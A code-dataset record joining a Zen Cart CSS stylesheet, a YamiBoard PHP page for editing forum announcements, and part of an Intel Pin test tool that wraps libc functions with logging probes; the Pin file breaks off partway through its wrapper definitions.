.dep_tit {
font-family: Arial, Helvetica, sans-serif;
font-size: 13px;
line-height: 16px;
}
.dep_date {
font-size: 10px;
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
color: #666666;
font-weight: normal;
}
.dep_txt {
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
font-size: 11px;
line-height: 16px;
color: #000000;
}
.pub_txt {
font-family: Georgia, "Times New Roman", Times, serif;
font-size: 11px;
line-height: 13px;
}
.pub_tit {
font-family: Georgia, "Times New Roman", Times, serif;
font-size: 13px;
line-height: 16px;
font-weight: bold;
}
.pub {
font-family: Georgia, "Times New Roman", Times, serif;
font-size: 11px;
line-height: normal;
}
.pubxt2 {
font-family: Georgia, "Times New Roman", Times, serif;
font-size: 11px;
line-height: 13px;
}
</STYLE>
|
fvaron/zencart_fr
|
teaser/cssh.css
|
CSS
|
gpl-2.0
| 6,929
|
<?php
if ($doc_per_canview == 0 || $doc_per_editcat == 0) {
?>
<table cellspacing='0' class='c1'>
<tr class='h'>
<td class='b h' colspan=2><?php echo $loc_no_access; ?></td>
<tr>
<td class='b n2'><center><h1><?php echo $loc_no_access; ?>.</h1><?php echo $loc_sorry; ?><br /><br /></center></td>
</table>
<?php
}
else {
$mysqli = new mysqli($hosty, $uname, $paswd, $dbnme);
$aid = (int) $_GET['aid'];
//$admin = htmlentities($_SESSION['username']['group'], ENT_QUOTES, 'UTF-8') <= 1;
//$owner = htmlentities($_SESSION['username']['username'], ENT_QUOTES, 'UTF-8');
$uid = $cookuid;//htmlentities($_SESSION['username']['id'], ENT_QUOTES, 'UTF-8');
$select = $mysqli->prepare("SELECT u.id, u.username, a.user_id FROM for_users AS u, for_announce AS a WHERE u.id = a.user_id AND a.id = ".$aid);
$select->execute();
$select->bind_result($uuid, $uuname, $auid);
$select->store_result();
while ($select->fetch()) {
$uuname = htmlspecialchars($uuname);
while (true) {
if (!$admin) {
header('Location: index.php');
exit();
break;
}
else {
if ($_POST['submit']) {
$title = $mysqli->real_escape_string($_POST['title']);
$message = $mysqli->real_escape_string(nl2br($_POST['message']));
$nolayout = cbx('nolayout');
$update = "UPDATE for_announce SET title = '$title', message = '$message', nolayout = $nolayout WHERE id = ".$aid;
$result = $mysqli->query($update);
echo "<table cellspacing='0' class='c1'>
<tr class='h'>
<td class='b h' colspan=2>$loc_edit_anno</td>
<tr>
<td class='b n2'><center>$loc_edited!<br /><a href=forum.php?page=announcement&aid=$aid>$loc_return</a></center></td>
</table>";
echo "<meta http-equiv='refresh' content='0; forum.php?page=announcement&aid=$aid' />";
if ($result) {
//$result->close();
$mysqli->close();
}
}
else {
$sql = "SELECT id, title, message FROM for_announce WHERE id = ".$aid;
$stmt = $mysqli->prepare($sql);
$stmt->execute();
$stmt->bind_result($aaid, $atitle, $amessage);
while ($stmt->fetch()) {
?>
<table cellspacing="0" class="c1">
<form action="forum.php?page=editanno&aid=<?php echo $aid; ?>" method="post">
<tr class="h">
<td class="b h" colspan=2>$loc_edit_anno</td>
<tr>
<td class="b n1" align="center" width=120>$loc_title:</td>
<td class="b n2"><input type="text" name=title size=100 maxlength=100<?php echo " value='".htmlspecialchars($atitle, ENT_QUOTES)."'"; ?>></td>
<tr>
<td class="b n1" align="center" width=120>$loc_format:</td>
<td class="b n2"><?php include ("module/textbuttons.php"); ?></td>
<tr>
<td class="b n1" align="center">$loc_smilies:</td>
<td class="b n2"><?php include ("module/smilebuttons.php"); ?></td>
<tr>
<td class="b n1" align="center" width=120>$loc_message:</td>
<td class="b n2"><textarea wrap="virtual" name=message id='message' rows=20 cols=80><?php echo strbr($amessage); ?></textarea></td>
<tr>
<td class="b"> </td>
<td class="b">
<input name="submit" type="submit" value="$loc_edit" />
<input type="checkbox" name=nolayout id=nolayout value=1 ><label for=nolayout>$loc_dis_post_lay</label>
</td>
</form>
</table>
<?php
}
$stmt->close();
$mysqli->close();
}
}
break;
}
}
}
?>
|
ArmyOfCoders/YamiBoard
|
docs/editanno.php
|
PHP
|
gpl-2.0
| 3,383
|
/*BEGIN_LEGAL
Intel Open Source License
Copyright (c) 2002-2013 Intel Corporation. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution. Neither the name of
the Intel Corporation nor the names of its contributors may be used to
endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
END_LEGAL */
/*
* This tool mimics the behavior of TPSS on Linux by adding probes to various libc functions.
* However, in this tool these probes are merely empty wrappers that call the original functions.
* The objective of the test is to verify that probe generation and insertion don't cause Pin
* to crash.
*/
#include "pin.H"
#include <iostream>
#include <fstream>
#include <string>
#include <ctime>
#include <sys/types.h>
#include <sys/timeb.h>
#include <rpc/rpc.h>
#include <rpc/pmap_clnt.h>
#include <semaphore.h>
#include <dlfcn.h>
#include <signal.h>
#include <poll.h>
#include <time.h>
#include <link.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/epoll.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/file.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <wchar.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <sched.h>
#include <time.h>
/* ===================================================================== */
/* Commandline Switches */
/* ===================================================================== */
typedef int * INT_PTR;
typedef void * VOID_PTR;
typedef char * CHAR_PTR;
ofstream OutFile;
KNOB<string> KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "tpss_lin_libc.txt",
"specify tool log file name");
/* ===================================================================== */
/* Utility functions */
/* ===================================================================== */
// Print help information
INT32 Usage() {
cerr
<< "This tool mimics the behavior of TPSS on Linux by adding probes to various libc functions."
<< endl;
cerr << KNOB_BASE::StringKnobSummary();
cerr << endl;
return 1;
}
// Utility function to return the time
string CurrentTime() {
char tmpbuf[128];
time_t thetime = time(NULL);
ctime_r(&thetime, tmpbuf);
return tmpbuf;
}
/* ===================================================================== */
/* Function signatures - these functions will be probed */
/* ===================================================================== */
int (*fptrnanosleep)(const struct timespec *__rqtp, struct timespec *__rmtp);
int (*fptrdl_iterate_phdr)(int (*__callback)(struct dl_phdr_info *__info, size_t __size,
VOID_PTR __data), VOID_PTR __data);
int (*fptrsystem)(const CHAR_PTR __command);
unsigned int (*fptralarm)(unsigned int __seconds);
ssize_t (*fptrrecvmsg)(int __socket, struct msghdr *__message, int __flags);
ssize_t (*fptrsendmsg)(int __sockfd, const struct msghdr *__msg, int __flags);
int (*fptrpause)(void);
int (*fptrsigtimedwait)(const sigset_t *__set, siginfo_t *__info, const struct timespec *__timeout);
int (*fptrsigwaitinfo)(const sigset_t *__set, siginfo_t *__info);
int (*fptrepoll_wait)(int __epfd, struct epoll_event *__events, int __maxevents,
int __timeout);
int (*fptrepoll_pwait)(int __epfd, struct epoll_event *__events,
int __maxevents, int __timeout, const sigset_t *__sigmask);
int (*fptrppoll)(struct pollfd *__fds, nfds_t __nfds,
const struct timespec *__timeout_ts, const sigset_t *__sigmask);
int (*fptrmsgsnd)(int __msqid, const VOID_PTR __msgp, size_t __msgsz, int __msgflg);
ssize_t (*fptrmsgrcv)(int __msqid, VOID_PTR __msgp, size_t __msgsz, long __msgtyp, int __msgflg);
int (*fptrsemop)(int __semid, struct sembuf *__sops, unsigned __nsops);
int (*fptrsemtimedop)(int __semid, struct sembuf *__sops);
int (*fptrusleep)(useconds_t __usec);
useconds_t (*fptrualarm)(useconds_t __usecs, useconds_t __interval);
int (*fptrgetitimer)(int __which, struct itimerval *__curr_value);
int (*fptrsigwait)(const sigset_t *__set, INT_PTR __sig);
int (*fptrmsgget)(key_t __key, int __msgflg);
int (*fptrsemget)(key_t __key, int __nsems, int __semflg);
pid_t (*fptrwait)(INT_PTR __status);
pid_t (*fptrwaitpid)(pid_t __pid, INT_PTR __atus, int __options);
int (*fptrwaitid)(idtype_t __idtype, id_t __id, siginfo_t *__infop,int __options);
pid_t (*fptrwait3)(INT_PTR __status, int __options, struct rusage *__rusage);
pid_t (*fptrwait4)(pid_t __pid, INT_PTR status, int __options, struct rusage *__rusage);
ssize_t (*fptrreadv)(int __fd, const struct iovec *__iov, int __iovcnt);
ssize_t (*fptrwritev)(int __fd, const struct iovec *__iov, int __iovcnt);
int (*fptrflock)(int __fd, int __operation);
void (*fptrflockfile)(FILE *__filehandle);
void (*fptrfunlockfile)(FILE *__filehandle);
int (*fptrlockf)(int __fd, int __cmd, off_t __len);
int (*fptrsetenv)(const CHAR_PTR __name, const CHAR_PTR __value, int __overwrite);
int (*fptrunsetenv)(const CHAR_PTR __name);
CHAR_PTR (*fptrgetenv)(const CHAR_PTR __name);
void (*fptrperror)(const CHAR_PTR __s);
VOID_PTR (*fptrmmap)(VOID_PTR __addr, size_t __len, int __prot, int __flags,
int __fildes, off_t __off);
int (*fptrmunmap)(VOID_PTR __addr, size_t __len);
int (*fptrfileno)(FILE *__stream);
pid_t (*fptrgetpid)(void);
pid_t (*fptrgetppid)(void);
VOID_PTR (*fptrmemset)(VOID_PTR __s, int __c, size_t __n);
VOID_PTR (*fptrmemcpy)(VOID_PTR __dest, const VOID_PTR __src, size_t __n);
int (*fptraccess)(const CHAR_PTR __pathname, int __mode);
off_t (*fptrlseek)(int __fd, off_t __offset, int __whence);
off64_t (*fptrlseek64)(int __fd, off64_t __offset, int __whence);
int (*fptrfdatasync)(int __fd);
int (*fptrunlink)(const CHAR_PTR __pathname);
size_t (*fptrstrlen)(const CHAR_PTR __s);
size_t (*fptrwcslen)(const wchar_t *__s);
CHAR_PTR (*fptrstrcpy)(CHAR_PTR __dest, const CHAR_PTR __src);
CHAR_PTR (*fptrstrncpy)(CHAR_PTR __dest, const CHAR_PTR __src, size_t __n);
CHAR_PTR (*fptrstrcat)(CHAR_PTR __dest, const CHAR_PTR __src);
CHAR_PTR (*fptrstrstr)(const CHAR_PTR __haystack, const CHAR_PTR __needle);
CHAR_PTR (*fptrstrchr0)(const CHAR_PTR __s, int __c);
CHAR_PTR (*fptrstrrchr)(const CHAR_PTR __s, int __c);
int (*fptrstrcmp)(const CHAR_PTR __s1, const CHAR_PTR __s2);
int (*fptrstrncmp)(const CHAR_PTR __s1, const CHAR_PTR __s2, size_t __n);
int (*fptrsigaddset)(sigset_t *__set, int __signum);
int (*fptrsigdelset)(sigset_t *__set, int __signum);
int (*fptrsigismember)(const sigset_t *__set, int __signum);
CHAR_PTR (*fptrstrerror)(int __errnum);
int (*fptrbind)(int __sockfd, const struct sockaddr *__addr, socklen_t __addrlen);
int (*fptrlisten)(int __sockfd, int __backlog);
int (*fptruname)(struct utsname *__name);
int (*fptrgethostname)(CHAR_PTR __name, size_t __len);
int (*fptrkill)(pid_t __pid, int __sig);
int (*fptrsched_yield)(void);
int (*fptrtimer_settime)(timer_t __timerid, int __flags, const struct itimerspec * __value, struct itimerspec * __ovalue);
int (*fptrsigaltstack)(const stack_t *__ss, stack_t *__oss);
int (*fptrshutdown)(int, int);
int (*fptrsleep)(unsigned int);
int (*fptrsocket)(int, int, int);
int (*fptrselect)(int, fd_set *__restrict, fd_set *__restrict, fd_set *__restrict, struct timeval *__restrict);
int (*fptrpoll)(struct pollfd *, nfds_t, int);
int (*fptraccept)(int, __SOCKADDR_ARG, socklen_t *__restrict);
int (*fptrconnect)(int, __CONST_SOCKADDR_ARG, socklen_t);
ssize_t (*fptrrecv)(int, VOID_PTR , size_t, int);
ssize_t (*fptrrecvfrom)(int, VOID_PTR __restrict, size_t, int, __SOCKADDR_ARG, socklen_t *__restrict);
ssize_t (*fptrsend)(int, __const VOID_PTR , size_t, int);
wint_t (*fptrgetwc)(__FILE *);
int (*fptrsetitimer)(__itimer_which_t, __const struct itimerval *__restrict, struct itimerval *__restrict);
int (*fptrsigpending)(sigset_t *);
int (*fptrsigaction)(int, __const struct sigaction *__restrict, struct sigaction *__restrict);
__sighandler_t (*fptrsignal)(int, __sighandler_t);
void (*fptrabort)();
ssize_t (*fptrsendto)(int, __const VOID_PTR , size_t, int, __CONST_SOCKADDR_ARG, socklen_t);
int (*fptr_IO_getc)(FILE *);
int (*fptrgetchar)();
wint_t (*fptrgetwchar)();
CHAR_PTR (*fptrgets)(CHAR_PTR );
CHAR_PTR (*fptrfgets)(CHAR_PTR __restrict, int, FILE *__restrict);
wint_t (*fptrfgetwc)(__FILE *);
size_t (*fptrfread)(VOID_PTR __restrict, size_t, size_t, FILE *__restrict);
size_t (*fptrfwrite)(__const VOID_PTR __restrict, size_t, size_t, FILE *__restrict);
int (*fptropen)(__const CHAR_PTR , int, mode_t);
int (*fptrgetw)(FILE *);
void (*fptrfgetc)(__FILE *);
wchar_t * (*fptrfgetws)(wchar_t *__restrict, int, __FILE *__restrict);
int (*fptrpipe)(int[2]);
ssize_t (*fptrread)(int, VOID_PTR , size_t);
ssize_t (*fptrwrite)(int, __const VOID_PTR , size_t);
FILE * (*fptrfopen)(__const CHAR_PTR __restrict, __const CHAR_PTR __restrict);
FILE * (*fptrfdopen)(int, __const CHAR_PTR );
int (*fptrclose)(int);
int (*fptrfclose)(FILE *);
int (*fptrcallrpc)(__const CHAR_PTR , u_long, u_long, u_long, xdrproc_t, __const CHAR_PTR , xdrproc_t, CHAR_PTR );
enum clnt_stat (*fptrclnt_broadcast)(u_long, u_long, u_long, xdrproc_t, caddr_t,
xdrproc_t, caddr_t, resultproc_t);
CLIENT * (*fptrclntudp_create)(struct sockaddr_in *, u_long, u_long, struct timeval, INT_PTR );
CLIENT * (*fptrclntudp_bufcreate)(struct sockaddr_in *, u_long, u_long, struct timeval, INT_PTR , u_int, u_int);
struct pmaplist * (*fptrpmap_getmaps)(struct sockaddr_in *);
u_short (*fptrpmap_getport)(struct sockaddr_in *, u_long, u_long, u_int);
enum clnt_stat (*fptrpmap_rmtcall)(struct sockaddr_in *, u_long, u_long, u_long, xdrproc_t, caddr_t, xdrproc_t, caddr_t, struct timeval, u_long *);
bool_t (*fptrpmap_set)(u_long, u_long, int, u_short);
CLIENT * (*fptrclntraw_create)(u_long, u_long);
void (*fptrsvc_run)();
bool_t (*fptrsvc_sendreply)(SVCXPRT *, xdrproc_t, caddr_t);
SVCXPRT * (*fptrsvcraw_create)();
SVCXPRT * (*fptrsvctcp_create)(int, u_int, u_int);
SVCXPRT * (*fptrsvcudp_bufcreate)(int, u_int, u_int);
SVCXPRT * (*fptrsvcudp_create)(int);
void (*fptr_exit)(int);
int (*fptrsigprocmask)(int, __const sigset_t *__restrict, sigset_t *__restrict);
void (*fptrexit)(int);
int (*fptrpselect)(int, fd_set *__restrict, fd_set *__restrict, fd_set *__restrict,
const struct timespec *__restrict, const __sigset_t *__restrict);
int (*fptrioctl)(int __d, int __request, CHAR_PTR __argp);
int (*fptrfcntl)(int __fd, int __cmd, VOID_PTR __argp);
VOID_PTR (*fptr__libc_dlopen_mode)(const CHAR_PTR __name, int __mode);
INT_PTR (*fptr__errno_location)(void);
int (*fptrsyscall)(int __number, long int __arg1, long int __arg2, long int __arg3,
long int __arg4, long int __arg5, long int __arg6, long int __arg7);
/* ===================================================================== */
/* Probes - implementation of the wrapper functions */
/* ===================================================================== */
int mynanosleep(const struct timespec *__rqtp, struct timespec *__rmtp)
{
OutFile << CurrentTime() << "mynanosleep called " << endl;
OutFile.flush();
int res = fptrnanosleep(__rqtp, __rmtp);
return res;
}
int mydl_iterate_phdr(
int (*__callback)(struct dl_phdr_info *__info, size_t __size,
VOID_PTR __data), VOID_PTR __sec_data)
{
OutFile << CurrentTime() << "mydl_iterate_phdr called " << endl;
OutFile.flush();
int res = fptrdl_iterate_phdr((__callback), __sec_data);
return res;
}
int mysystem(const CHAR_PTR __command)
{
OutFile << CurrentTime() << "mysystem called " << endl;
OutFile.flush();
int res = fptrsystem(__command);
return res;
}
unsigned int myalarm(unsigned int __seconds)
{
OutFile << CurrentTime() << "myalarm called " << endl;
OutFile.flush();
unsigned int res = fptralarm(__seconds);
return res;
}
ssize_t myrecvmsg(int __socket, struct msghdr *__message, int __flags)
{
OutFile << CurrentTime() << "myrecvmsg called " << endl;
OutFile.flush();
ssize_t res = fptrrecvmsg(__socket, __message, __flags);
return res;
}
ssize_t mysendmsg(int __sockfd, const struct msghdr *__msg, int __flags)
{
OutFile << CurrentTime() << "mysendmsg called " << endl;
OutFile.flush();
ssize_t res = fptrsendmsg(__sockfd, __msg, __flags);
return res;
}
int mypause(void)
{
OutFile << CurrentTime() << "mypause called " << endl;
OutFile.flush();
int res = fptrpause();
return res;
}
int mysigtimedwait(const sigset_t *__set, siginfo_t *__info,
const struct timespec *__timeout)
{
OutFile << CurrentTime() << "mysigtimedwait called " << endl;
OutFile.flush();
int res = fptrsigtimedwait(__set, __info, __timeout);
return res;
}
int mysigwaitinfo(const sigset_t *__set, siginfo_t *__info)
{
OutFile << CurrentTime() << "mysigwaitinfo called " << endl;
OutFile.flush();
int res = fptrsigwaitinfo(__set, __info);
return res;
}
int myepoll_wait(int __epfd, struct epoll_event *__events, int __maxevents,
int __timeout)
{
OutFile << CurrentTime() << "myepoll_wait called " << endl;
OutFile.flush();
int res = fptrepoll_wait(__epfd, __events, __maxevents, __timeout);
return res;
}
int myepoll_pwait(int __epfd, struct epoll_event *__events, int __maxevents,
int __timeout)
{
OutFile << CurrentTime() << "myepoll_pwait called " << endl;
OutFile.flush();
int res = fptrepoll_wait(__epfd, __events, __maxevents, __timeout);
return res;
}
int myppoll(struct pollfd *__fds, nfds_t __nfds,
const struct timespec *__timeout_ts, const sigset_t *__sigmask)
{
OutFile << CurrentTime() << "myppoll called " << endl;
OutFile.flush();
int res = fptrppoll(__fds, __nfds, __timeout_ts, __sigmask);
return res;
}
int mymsgsnd(int __msqid, const VOID_PTR __msgp, size_t __msgsz, int __msgflg)
{
OutFile << CurrentTime() << "mymsgsnd called " << endl;
OutFile.flush();
int res = fptrmsgsnd(__msqid, __msgp, __msgsz, __msgflg);
return res;
}
ssize_t mymsgrcv(int __msqid, VOID_PTR __msgp, size_t __msgsz, long __msgtyp,
int __msgflg)
{
OutFile << CurrentTime() << "mymsgrcv called " << endl;
OutFile.flush();
ssize_t res = fptrmsgrcv(__msqid, __msgp, __msgsz, __msgtyp, __msgflg);
return res;
}
int mysemtimedop(int __semid, struct sembuf *__sops)
{
OutFile << CurrentTime() << "mysemtimedop called " << endl;
OutFile.flush();
int res = fptrsemtimedop(__semid, __sops);
return res;
}
int myusleep(useconds_t __usecs)
{
OutFile << CurrentTime() << "myusleep called " << endl;
OutFile.flush();
int res = fptrusleep(__usecs);
return res;
}
useconds_t myualarm(useconds_t __usecs, useconds_t __interval)
{
OutFile << CurrentTime() << "myualarm called " << endl;
OutFile.flush();
useconds_t res = fptrualarm(__usecs, __interval);
return res;
}
int mygetitimer(int __which, struct itimerval *__curr_value)
{
OutFile << CurrentTime() << "mygetitimer called " << endl;
OutFile.flush();
int res = fptrgetitimer(__which, __curr_value);
return res;
}
int mysigwait(const sigset_t *__set, INT_PTR __sig)
{
OutFile << CurrentTime() << "mysigwait called " << endl;
OutFile.flush();
int res = fptrsigwait(__set, __sig);
return res;
}
int mymsgget(key_t __key, int __msgflg)
{
OutFile << CurrentTime() << "mymsgget called " << endl;
OutFile.flush();
int res = fptrmsgget(__key, __msgflg);
return res;
}
int mysemget(key_t __key, int __nsems, int __semflg)
{
OutFile << CurrentTime() << "mysemget called " << endl;
OutFile.flush();
int res = fptrsemget(__key, __nsems, __semflg);
return res;
}
pid_t mywaitpid(pid_t __pid, INT_PTR __status, int __options)
{
OutFile << CurrentTime() << "mywaitpid called " << endl;
OutFile.flush();
pid_t res = fptrwaitpid(__pid, __status, __options);
return res;
}
int mywaitid(idtype_t __idtype, id_t __id, siginfo_t *__infop, int __options)
{
OutFile << CurrentTime() << "mywaittid called " << endl;
OutFile.flush();
int res = fptrwaitid(__idtype, __id, __infop, __options);
return res;
}
pid_t mywait3(INT_PTR __status, int __options, struct rusage *__rusage)
{
OutFile << CurrentTime() << "mywait3 called " << endl;
OutFile.flush();
pid_t res = fptrwait3(__status, __options, __rusage);
return res;
}
pid_t mywait4(pid_t __pid, INT_PTR __status, int __options,
struct rusage *__rusage)
{
OutFile << CurrentTime() << "mywait4 called " << endl;
OutFile.flush();
pid_t res = fptrwait4(__pid, __status, __options, __rusage);
return res;
}
ssize_t myreadv(int __fd, const struct iovec *__iov, int __iovcnt)
{
OutFile << CurrentTime() << "myreadv called " << endl;
OutFile.flush();
ssize_t res = fptrreadv(__fd, __iov, __iovcnt);
return res;
}
ssize_t mywritev(int __fd, const struct iovec *__iov, int __iovcnt)
{
OutFile << CurrentTime() << "mywritev called " << endl;
OutFile.flush();
ssize_t res = fptrwritev(__fd, __iov, __iovcnt);
return res;
}
int myflock(int __fd, int __operation)
{
OutFile << CurrentTime() << "myflock called " << endl;
OutFile.flush();
int res = fptrflock(__fd, __operation);
return res;
}
void myflockfile(FILE *__filehandle)
{
OutFile << CurrentTime() << "myflockfile called " << endl;
OutFile.flush();
fptrflockfile(__filehandle);
}
void myfunlockfile(FILE *__filehandle)
{
OutFile << CurrentTime() << "myfunlockfile called " << endl;
OutFile.flush();
fptrfunlockfile(__filehandle);
}
int mylockf(int __fd, int __cmd, off_t __len)
{
OutFile << CurrentTime() << "mylockf called " << endl;
OutFile.flush();
int res = fptrlockf(__fd, __cmd, __len);
return res;
}
int mysetenv(const CHAR_PTR __name, const CHAR_PTR __value, int __overwrite)
{
OutFile << CurrentTime() << "mysetenv called " << endl;
OutFile.flush();
int res = fptrsetenv(__name, __value, __overwrite);
return res;
}
int myunsetenv(const CHAR_PTR __name)
{
OutFile << CurrentTime() << "myunsetenv called " << endl;
OutFile.flush();
int res = fptrunsetenv(__name);
return res;
}
CHAR_PTR mygetenv(const CHAR_PTR __name)
{
OutFile << CurrentTime() << "mygetenv called " << endl;
OutFile.flush();
CHAR_PTR res = fptrgetenv(__name);
return res;
}
void myperror(const CHAR_PTR __s)
{
OutFile << CurrentTime() << "myperrorcalled " << endl;
OutFile.flush();
fptrperror(__s);
}
VOID_PTR mymmap(VOID_PTR __addr, size_t __len, int __prot, int __flags, int __fildes,
off_t __off)
{
OutFile << CurrentTime() << "mymmap called " << endl;
OutFile.flush();
VOID_PTR res = fptrmmap(__addr, __len, __prot, __flags, __fildes, __off);
return res;
}
int mymunmap(VOID_PTR __addr, size_t __len)
{
OutFile << CurrentTime() << "mymunmap called " << endl;
OutFile.flush();
int res = fptrmunmap(__addr, __len);
return res;
}
int myfileno(FILE *__stream)
{
OutFile << CurrentTime() << "myfileno called " << endl;
OutFile.flush();
int res = fptrfileno(__stream);
return res;
}
pid_t mygetpid(void)
{
OutFile << CurrentTime() << "mygetpid called " << endl;
OutFile.flush();
pid_t res = fptrgetpid();
return res;
}
pid_t mygetppid(void)
{
OutFile << CurrentTime() << "mygetppid called " << endl;
OutFile.flush();
pid_t res = fptrgetppid();
return res;
}
VOID_PTR mymemset(VOID_PTR __s, int __c, size_t __n) {
OutFile << CurrentTime() << "mymemset called " << endl;
OutFile.flush();
VOID_PTR res = fptrmemset(__s, __c, __n);
return res;
}
VOID_PTR mymemcpy(VOID_PTR __dest, const VOID_PTR __src, size_t __n)
{
OutFile << CurrentTime() << "mymemcpy called " << endl;
OutFile.flush();
VOID_PTR res = fptrmemcpy(__dest, __src, __n);
return res;
}
int myaccess(const CHAR_PTR __pathname, int __mode)
{
OutFile << CurrentTime() << "myaccess called " << endl;
OutFile.flush();
int res = fptraccess(__pathname, __mode);
return res;
}
off_t mylseek(int __fd, off_t __offset, int __whence)
{
OutFile << CurrentTime() << "mylseek called " << endl;
OutFile.flush();
off_t res = fptrlseek(__fd, __offset, __whence);
return res;
}
off64_t mylseek64(int __fd, off64_t __offset, int __whence)
{
OutFile << CurrentTime() << "mylseek64 called " << endl;
OutFile.flush();
off64_t res = fptrlseek64(__fd, __offset, __whence);
return res;
}
int myfdatasync(int __fd) {
OutFile << CurrentTime() << "myfdatasync called " << endl;
OutFile.flush();
int res = fptrfdatasync(__fd);
return res;
}
int myunlink(const CHAR_PTR __pathname)
{
OutFile << CurrentTime() << "myunlink called " << endl;
OutFile.flush();
int res = fptrunlink(__pathname);
return res;
}
size_t mystrlen(const CHAR_PTR __s)
{
OutFile << CurrentTime() << "mystrlen called " << endl;
OutFile.flush();
size_t res = fptrstrlen(__s);
return res;
}
size_t mywcslen(const wchar_t *__s)
{
OutFile << CurrentTime() << "mywcslen called " << endl;
OutFile.flush();
size_t res = fptrwcslen(__s);
return res;
}
CHAR_PTR mystrcpy(CHAR_PTR __dest, const CHAR_PTR __src)
{
OutFile << CurrentTime() << "mystrcpy called " << endl;
OutFile.flush();
CHAR_PTR res = fptrstrcpy(__dest, __src);
return res;
}
CHAR_PTR mystrncpy(CHAR_PTR __dest, const CHAR_PTR __src, size_t __n)
{
OutFile << CurrentTime() << "mystrncpy called " << endl;
OutFile.flush();
CHAR_PTR res = fptrstrncpy(__dest, __src, __n);
return res;
}
CHAR_PTR mystrcat(CHAR_PTR __dest, const CHAR_PTR __src)
{
OutFile << CurrentTime() << "mystrcat called " << endl;
OutFile.flush();
CHAR_PTR res = fptrstrcat(__dest, __src);
return res;
}
CHAR_PTR mystrstr(const CHAR_PTR __haystack, const CHAR_PTR __needle)
{
OutFile << CurrentTime() << "mystrstr called " << endl;
OutFile.flush();
CHAR_PTR res = fptrstrstr(__haystack, __needle);
return res;
}
CHAR_PTR mystrchr0(const CHAR_PTR __s, int __c)
{
OutFile << CurrentTime() << "mystrchr0 called " << endl;
OutFile.flush();
CHAR_PTR res = fptrstrchr0(__s, __c);
return res;
}
CHAR_PTR mystrrchr(const CHAR_PTR __s, int __c)
{
OutFile << CurrentTime() << "mystrrchr called " << endl;
OutFile.flush();
CHAR_PTR res = fptrstrrchr(__s, __c);
return res;
}
int mystrcmp(const CHAR_PTR __s1, const CHAR_PTR __s2)
{
OutFile << CurrentTime() << "mystrcmp called " << endl;
OutFile.flush();
int res = fptrstrcmp(__s1, __s2);
return res;
}
int mystrncmp(const CHAR_PTR __s1, const CHAR_PTR __s2, size_t __n)
{
OutFile << CurrentTime() << "mystrncmp called " << endl;
OutFile.flush();
int res = fptrstrncmp(__s1, __s2, __n);
return res;
}
int mysigaddset(sigset_t *__set, int __signum)
{
OutFile << CurrentTime() << "mysigaddset called " << endl;
OutFile.flush();
int res = fptrsigaddset(__set, __signum);
return res;
}
int mysigdelset(sigset_t *__set, int __signum) {
OutFile << CurrentTime() << "mysigdelset called " << endl;
OutFile.flush();
int res = fptrsigdelset(__set, __signum);
return res;
}
int mysigismember(sigset_t *__set, int __signum)
{
OutFile << CurrentTime() << "mysigismember called " << endl;
OutFile.flush();
int res = fptrsigismember(__set, __signum);
return res;
}
CHAR_PTR mystrerror(int __errnum)
{
OutFile << CurrentTime() << "mystrerror called " << endl;
OutFile.flush();
CHAR_PTR res = fptrstrerror(__errnum);
return res;
}
int mybind(int __sockfd, const struct sockaddr *__addr, socklen_t __addrlen)
{
OutFile << CurrentTime() << "mybind called " << endl;
OutFile.flush();
int res = fptrbind(__sockfd, __addr, __addrlen);
return res;
}
int mylisten(int __sockfd, int __backlog)
{
OutFile << CurrentTime() << "mylisten called " << endl;
OutFile.flush();
int res = fptrlisten(__sockfd, __backlog);
return res;
}
int myuname(struct utsname *__name)
{
OutFile << CurrentTime() << "myuname called " << endl;
OutFile.flush();
int res = fptruname(__name);
return res;
}
int mygethostname(CHAR_PTR __name, size_t __len)
{
OutFile << CurrentTime() << "mygethostname called " << endl;
OutFile.flush();
int res = fptrgethostname(__name, __len);
return res;
}
int mykill(pid_t __pid, int __sig)
{
OutFile << CurrentTime() << "mykill called " << endl;
OutFile.flush();
int res = fptrkill(__pid, __sig);
return res;
}
int mysched_yield(void)
{
OutFile << CurrentTime() << "mysched_yield called " << endl;
OutFile.flush();
int res = fptrsched_yield();
return res;
}
int mytimer_settime(timer_t __timerid, int __flags,
const struct itimerspec * __value, struct itimerspec * __ovalue)
{
OutFile << CurrentTime() << "mytimer_settime called " << endl;
OutFile.flush();
int res = fptrtimer_settime(__timerid, __flags, __value, __ovalue);
return res;
}
int mysigaltstack(const stack_t *__ss, stack_t *__oss)
{
OutFile << CurrentTime() << "mysigaltstacke called " << endl;
OutFile.flush();
int res = fptrsigaltstack(__ss, __oss);
return res;
}
int mysleep(unsigned int __seconds)
{
